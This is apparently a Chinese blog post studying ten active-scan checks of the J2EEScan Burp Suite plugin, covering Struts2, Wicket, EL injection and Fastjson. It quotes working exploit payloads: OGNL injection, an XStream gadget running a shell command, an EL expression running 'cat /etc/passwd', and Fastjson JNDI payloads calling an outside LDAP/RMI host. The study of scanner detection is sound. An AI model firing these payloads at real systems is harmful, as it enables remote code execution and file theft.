【BurpSuite】插件开发学习之J2EEScan(下)-主动扫描(11-20)

【BurpSuite】插件开发学习之J2EEScan(下)-主动扫描(11-20)

前言

插件开发学习第7套。前置文章:

【BurpSuite】插件开发学习之Log4shell
【BurpSuite】插件开发学习之Software Vulnerability Scanner
【BurpSuite】插件开发学习之dotnet-Beautifier
【BurpSuite】插件开发学习之active-scan-plus-plus
【BurpSuite】插件开发学习之J2EEScan(上)-被动扫描
【BurpSuite】插件开发学习之J2EEScan(下)-主动扫描(1-10)

继续上一章的分析

分析

【11】ApacheStrutsS2017-S2-017

参数较016 少了redirect:

       redirectMeth.add("redirect:");
        redirectMeth.add("redirectAction:");

payload

       rawrequest = callbacks.getHelpers().addParameter(rawrequest,
                        callbacks.getHelpers().buildParameter(redir, "http://www.example.com/%23", IParameter.PARAM_URL)
                );

这里竟然没有恶意参数,知识一个跳转
match返回的状态码和header头

  if (statusCode >= 300 && statusCode < 400) {
                          if (header.substring(header.indexOf(":") + 1).trim().startsWith("http://www.example.com/")) {

看起来s2 017就是个URL跳转
https://www.cnblogs.com/jinqi520/p/10813737.html
在这里插入图片描述

【12】ApacheStrutsS2020 - S2-020

参数

modifiedRawRequest = callbacks.getHelpers().addParameter(rawrequest,
                callbacks.getHelpers().buildParameter("Class.classLoader.URLs[0]",
                        classLoaderStringTest, IParameter.PARAM_URL)
        );

payload

long unixTime = System.currentTimeMillis() / 1000L;
        String classLoaderStringTest = "testClassloaderManipulation" + unixTime;

match返回包

    private static final Pattern CLASSLOADER_PM = Pattern.compile("Invalid field value for field|No result defined for action",

这个漏洞原理是支持使用classLoader
可以看这篇
struts自定义的classloadr

class.classLoader.resources.dirContext.docBase

在这里插入图片描述
这里有两种绕过姿势

  • class[‘classLoader’]
  • Class.classloader
    问题正则
(.*\.|^)class\..*  两种都能绕过
(.*\.|^)(class|Class)(\.|\[).* 中括号可以绕过

安全正则

(.*\.|^|.*|\[('|"))(c|C)lass(\.|('|")]|\[).*

【13】ApacheStrutsS2032 - S2-032

老样子,去除所有参数

     byte[] rawrequest = baseRequestResponse.getRequest();
        //Remove URI parameters
        for (IParameter param : parameters) {
            rawrequest = callbacks.getHelpers().removeParameter(rawrequest, param);
        }

入参

method:

payload

%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.hook[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString

展开看看

#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,
#kzxs=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),
#kzxs.print(#parameters.hook[0]),
#kzxs.print(new java.lang.Integer(829+9)),
#kzxs.close(),1?
#xx:
#request.toString

第一步:从表达式上解释设置context中_memberAccess值为ognl.OgnlContext的属性DEFAULT_MEMBER_ACCESS的值.(SecurityMemberAccess 比较严格限制了反射类,DefaultMemberAccess不限制反射类),后面直接调用反射就行。
其中hook[0]是后面的参数

modifiedRawRequest = callbacks.getHelpers().addParameter(modifiedRawRequest,
                    callbacks.getHelpers().buildParameter("hook", "HOOK_VAL", IParameter.PARAM_URL)
            );

match,因为print了俩,一个是HOOK_VAL,一个是表达式计算的值。

private static final Pattern DYNAMIC_METHOD_INVOCATION = Pattern.compile("HOOK_VAL838",
            Pattern.DOTALL | Pattern.MULTILINE);

【14】ApacheStrutsS2043 - S2-043(Config Browser插件泄露)

遍历path

private static final List<String> BROWSER_PATHS = Arrays.asList(
            "/config-browser/actionNames",
            "/config-browser/actionNames.action"
    );

请求之后match

private static final byte[] GREP_STRING = "<title>Actions in namespace</title>".getBytes();

在这里插入图片描述

【15】ApacheStrutsS2052-S2-052

首先判断了有没有content-type

        String contentTypeHeader = HTTPParser.getRequestHeaderValue(reqInfo, "Content-type");

毕竟payload要靠xml传过去
增加content-type

        List<String> headersWithContentTypeXML = HTTPParser.addOrUpdateHeader(headers, "Content-type", "application/xml");

payload

String payload = " ping " + currentCollaboratorPayload;

        String xmlMarshallingBody= "<map>\n" +
            "  <entry>\n" +
            "    <jdk.nashorn.internal.objects.NativeString>\n" +
            "      <flags>0</flags>\n" +
            "      <value class=\"com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data\">\n" +
            "        <dataHandler>\n" +
            "          <dataSource class=\"com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource\">\n" +
            "            <is class=\"javax.crypto.CipherInputStream\">\n" +
            "              <cipher class=\"javax.crypto.NullCipher\">\n" +
            "                <initialized>false</initialized>\n" +
            "                <opmode>0</opmode>\n" +
            "                <serviceIterator class=\"javax.imageio.spi.FilterIterator\">\n" +
            "                  <iter class=\"javax.imageio.spi.FilterIterator\">\n" +
            "                    <iter class=\"java.util.Collections$EmptyIterator\"/>\n" +
            "                    <next class=\"java.lang.ProcessBuilder\">\n" +
            "                      <command>\n" +
            "                        <string>/bin/sh</string><string>-c </string><string>" + payload + "</string>\n" +
            "                      </command>\n" +
            "                      <redirectErrorStream>false</redirectErrorStream>\n" +
            "                    </next>\n" +
            "                  </iter>\n" +
            "                  <filter class=\"javax.imageio.ImageIO$ContainsFilter\">\n" +
            "                    <method>\n" +
            "                      <class>java.lang.ProcessBuilder</class>\n" +
            "                      <name>start</name>\n" +
            "                      <parameter-types/>\n" +
            "                    </method>\n" +
            "                    <name>foo</name>\n" +
            "                  </filter>\n" +
            "                  <next class=\"string\">foo</next>\n" +
            "                </serviceIterator>\n" +
            "                <lock/>\n" +
            "              </cipher>\n" +
            "              <input class=\"java.lang.ProcessBuilder$NullInputStream\"/>\n" +
            "              <ibuffer/>\n" +
            "              <done>false</done>\n" +
            "              <ostart>0</ostart>\n" +
            "              <ofinish>0</ofinish>\n" +
            "              <closed>false</closed>\n" +
            "            </is>\n" +
            "            <consumed>false</consumed>\n" +
            "          </dataSource>\n" +
            "          <transferFlavors/>\n" +
            "        </dataHandler>\n" +
            "        <dataLen>0</dataLen>\n" +
            "      </value>\n" +
            "    </jdk.nashorn.internal.objects.NativeString>\n" +
            "    <jdk.nashorn.internal.objects.NativeString reference=\"../jdk.nashorn.internal.objects.NativeString\"/>\n" +
            "  </entry>\n" +
            "  <entry>\n" +
            "    <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>\n" +
            "    <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>\n" +
            "  </entry>\n" +
            "</map>";
        
    
        

这个payload和之前的有所不同,查一下漏洞原理:
使用Struts2 REST插件的XStream组件反序列化操作没有校验。
https://blog.csdn.net/qq_44312507/article/details/103585253
match的话match
collaboratorContext的接收值就行。

【16】ApacheStrutsShowcase

ApacheStrutsShowcase
关键路劲

   private static final List<String> STRUTS_SHOWCASE_PATHS = Arrays.asList(
            "/struts2-showcase/showcase.action"
    );

如果match到

private static final byte[] GREP_STRING = "<title>Struts2 Showcase</title>".getBytes();

则存在问题

看上去这个showcase.action在多个S2系列的漏洞中出现,比较容易出问题。
https://www.anquanke.com/post/id/86757

【16】ApacheStrutsWebConsole

控制台路径

private static final List<String> STRUTS_WEBCONSOLE_PATHS = Arrays.asList(
            "/struts/webconsole.html?debug=console"
    );

如果match到

private static final byte[] GREP_STRING = "title>OGNL Console".getBytes();

则存在问题
长这样
在这里插入图片描述
但是有利用条件
只有在开启了Debug模式且ClassPath中使用了struts2-dojo-plugin-*.jar的情况下,webconsole.html页面才有可能存在安全漏洞的风险。
https://www.secpulse.com/archives/48383.html

【17】ApacheWicketArbitraryResourceAccess 目录穿越漏洞

路径包含

"wicket/resource")

payload则是替换掉上面的路径
换成

    private static final List<String> PAYLOADS = Arrays.asList(
            "wicket/resource/int/wicket.properties,/bla/ HTTP",
            "wicket/resources/int/wicket.properties,/bla/ HTTP"
    );

这里采用的是替换原始请求包正则匹配

                byte[] wicketRequest = helpers.stringToBytes(plainRequest.replaceFirst("wicket\\/resource.*? HTTP", payload));

match则是

    private static final byte[] GREP_STRING = "initializer=".getBytes();

百度竟然没有找到相关漏洞解释
去apache看看
https://issues.apache.org/jira/browse/WICKET-4427
看出来了,是目录穿越

public ExtensionResourceNameIterator(String path, final String extension)
    {
        if ((extension == null) && (path.indexOf('.') != -1))
        {
// Get the extension from the path provided
            extensions = new String[] { "." + Strings.lastPathComponent(path, '.') };
            path = Strings.beforeLastPathComponent(path, '.');
        }
        else if (extension != null)
        {
// Extension can be a comma separated list
            extensions = Strings.split(extension, ',');
            for (int i = extensions.length - 1; i >= 0; i--)
            {
                extensions[i] = extensions[i].trim();
                if (!extensions[i].startsWith("."))
                {
                    extensions[i] = "." + extensions[i];
                }
            }
        }
        else
        {
            extensions = new String[1];
            extensions[0] = ".";
        }

        this.path = path;
        index = 0;
    }

注意这个分支

else if (extension != null)
        {
// Extension can be a comma separated list
            extensions = Strings.split(extension, ',');
            for (int i = extensions.length - 1; i >= 0; i--)
            {
                extensions[i] = extensions[i].trim();
                if (!extensions[i].startsWith("."))
                {
                    extensions[i] = "." + extensions[i];
                }
            }
        }

相当于根据,取了多个后缀然后拼接造成了路径穿越。

【18】EL3Injection EL 3.0/Lambda Injection EL表达式注入

payload

   private static final List<byte[]> EL_INJECTION_TESTS = Arrays.asList(
            "System.getProperties()".getBytes()
    );            
     

直接post请求发过去

            byte[] checkRequest = insertionPoint.buildRequest(INJ_TEST);
            IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
                    baseRequestResponse.getHttpService(), checkRequest);

match到

    private static final byte[] GREP_STRING = "java.vendor".getBytes();  
    

则存在漏洞
这是直接执行命令??
match的是命令结果
在这里插入图片描述
看了下文章
在这里插入图片描述
不太现实,是指用户的输入直接传入了elp.eval执行

【19】ELInjection EL (Expression Language) Injection

payload

        byte[] EL_TEST = "(new+java.util.Scanner((T(java.lang.Runtime).getRuntime().exec(\"cat+/etc/passwd\").getInputStream()),\"UTF-8\")).useDelimiter(\"\\\\A\").next()".getBytes();

拆分一下

a = T(java.lang.Runtime).getRuntime().exec(\"cat+/etc/passwd\")
b = a.getInputStream()
c = new java.util.Scanner(b,utf)
d = c.useDelimiter(\"\\\\A\")
e = d.next()

match的话就matchpasswd,这个判断不好,既然都是exec,为何不用ping这种跨平台的命令或者echo。

第二中payload

     HashMap<byte[], byte[]> EL_INJECTIONS = new HashMap<byte[], byte[]>() {
            {
                put("${applicationScope}".getBytes(), "javax.servlet.context".getBytes());
                put("#{applicationScope}".getBytes(), "javax.servlet.context".getBytes());
                put(String.format("${%d*%d}", firstInt, secondInt).getBytes(), multiplication.getBytes());
                put(String.format("#{%d*%d}", firstInt, secondInt).getBytes(), multiplication.getBytes());
                put(String.format("{{%d*%d}}", firstInt, secondInt).getBytes(), multiplication.getBytes());
            }
        };

key是payload,value是响应包的match
EL表达式
https://xz.aliyun.com/t/7692

【20】FastJsonRCE CVE 2017-18349

payload

    // https://github.com/jas502n/fastjson-1.2.61-RCE
        List<String> PAYLOADS = new ArrayList<>();
        PAYLOADS.add("{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://%s:80/obj\",\"autoCommit\":true}");
        PAYLOADS.add("{\"@type\":\"org.apache.commons.configuration2.JNDIConfiguration\",\"prefix\":\"ldap://%s:80/ExportObject\"}");
        PAYLOADS.add("{\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://%s:80/ExportObject\",\"autoCommit\":true}}");
        PAYLOADS.add("{\"a\":{ \"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://%s:80/ExportObject\",\"autoCommit\":true}}");

记得改content-type

 String contentTypeHeader = HTTPParser.getRequestHeaderValue(reqInfo, "Content-type");
        if (contentTypeHeader != null && !contentTypeHeader.contains("json")) {

match dnslog即可

collaboratorContext

分析看这个吧
http://xxlegend.com/2018/10/23/基于JdbcRowSetImpl的Fastjson%20RCE%20PoC构造与分析/

后话

本章结束

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值